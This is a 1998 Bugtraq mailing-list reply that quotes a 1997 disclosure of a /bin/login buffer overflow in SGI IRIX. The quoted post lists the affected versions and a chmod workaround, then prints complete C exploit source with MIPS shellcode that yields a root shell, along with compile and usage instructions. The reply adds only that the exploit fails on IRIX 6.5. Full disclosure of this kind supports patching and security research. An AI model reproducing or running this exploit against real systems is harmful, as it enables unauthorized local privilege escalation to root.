[7935] in bugtraq
Re: hey, guess what! another Irix buffer overflow!
daemon@ATHENA.MIT.EDU (Daniel Alex Finkelstein)
Sat Sep 12 18:45:03 1998
Date: Sat, 12 Sep 1998 16:34:29 -0400
Reply-To: dfinkels@SIAC.COM
From: Daniel Alex Finkelstein <dfinkels@SIAC.COM>
X-To: David Hedley <hedley@CS.BRIS.AC.UK>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <8124.864686653@maxx>
The exploit does not work on an Onyx2 running IRIX 6.5.
On Mon, 26 May 1997, David Hedley wrote:
> Date: Mon, 26 May 1997 23:44:13 +0100
> From: David Hedley <hedley@CS.BRIS.AC.UK>
> To: BUGTRAQ@netspace.org
> Subject: hey, guess what! another Irix buffer overflow!
>
> Yet another buffer overflow for you. This time in /bin/login.
>
> Impact: local users can get root access
> Vulnerable to this exploit: Irix 5.3 Irix64 6.2 Irix 6.3
> Tested on: R3000 Indigo (5.3), R4400 Indy (5.3), R5000 O2 (6.3), R8000
> PChallenge (Irix64 6.2)
> Temporary fix: chmod u-s /bin/login
>
> Note this will break login, although it should still work when called
> from telnetd, getty etc
>
> Compile the exploit with the '-n32' flag if compiling under 6.x
>
> When run, you will be prompted for a password. Just press enter at this
> point and you will handed a root shell.
>
> Regards,
>
> David
> --
> David Hedley (hedley@cs.bris.ac.uk)
> finger hedley@cs.bris.ac.uk for PGP key
> Computer Graphics Group | University of Bristol | UK
>
> --------------------- cut here --------------------------------
>
> /* /bin/login exploit by DCRH 24/5/97
> *
> * Tested on: R3000 Indigo (Irix 5.3)
> * R4400 Indy (Irix 5.3)
> * R5000 O2 (Irix 6.3)
> * R8000 Power Challenge (Irix 6.2)
> *
> * Compile as: cc -n32 login.c (for Irix 6.x)
> * cc login.c (for Irix 5.x)
> *
> * Press enter when prompted for a password
> *
> */
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> #define BUF_LENGTH 200
> #define EXTRA 300
> #define OFFSET 0x1b0
> #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
>
> #define u_long unsigned
>
>
> u_long get_sp_code[] = {
> 0x03a01025, /* move $v0,$sp */
> 0x03e00008, /* jr $ra */
> 0x00000000, /* nop */
> };
>
> u_long irix_shellcode[] = {
> 0x24041234, /* li $4,0x1234 */
> 0x2084edcc, /* sub $4,0x1234 */
> 0x0491fffe, /* bgezal $4,pc-4 */
> 0x03bd302a, /* sgt $6,$sp,$sp */
> 0x23e4012c, /* addi $4,$31,264+36 */
> 0xa086feff, /* sb $6,-264+7($4) */
> 0x2084fef8, /* sub $4,264 */
> 0x20850110, /* addi $5,$4,264+8 */
> 0xaca4fef8, /* sw $4,-264($5) */
> 0xaca6fefc, /* sw $4,-260($5) */
> 0x20a5fef8, /* sub $5, 264 */
> 0x240203f3, /* li $v0,1011 */
> 0x03ffffcc, /* syscall 0xfffff */
> 0x2f62696e, /* "/bin" */
> 0x2f7368ff, /* "/sh" */
> };
>
> char buf[BUF_LENGTH + EXTRA + 8];
>
> void main(int argc, char **argv)
> {
> char *env[] = {NULL};
> u_long targ_addr, stack;
> u_long *long_p;
> int i, code_length = strlen((char *)irix_shellcode)+1;
> u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
>
> stack = get_sp();
>
> long_p =(u_long *) buf;
> targ_addr = stack + OFFSET;
>
> if (argc > 1)
> targ_addr += atoi(argv[1]);
>
> while ((targ_addr & 0xff000000) == 0 ||
> (targ_addr & 0x00ff0000) == 0 ||
> (targ_addr & 0x0000ff00) == 0 ||
> (targ_addr & 0x000000ff) == 0)
> targ_addr += 4;
>
> for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
> *long_p++ = IRIX_NOP;
>
> for (i = 0; i < code_length/sizeof(u_long); i++)
> *long_p++ = irix_shellcode[i];
>
> for (i = 0; i < EXTRA / sizeof(u_long); i++)
> *long_p++ = (targ_addr << 24) | (targ_addr >> 8);
>
> *long_p = 0;
>
> printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
>
> execle("/bin/login", "login", "-h", &buf[1], 0, env);
> perror("execl failed");
> }
>
Daniel Alex Finkelstein
New Technologies
phone 212.383.2951
pager 917.427.1630
text 9178041041@messaging.sprintpcs.com
Securities Industry Automation Corporation
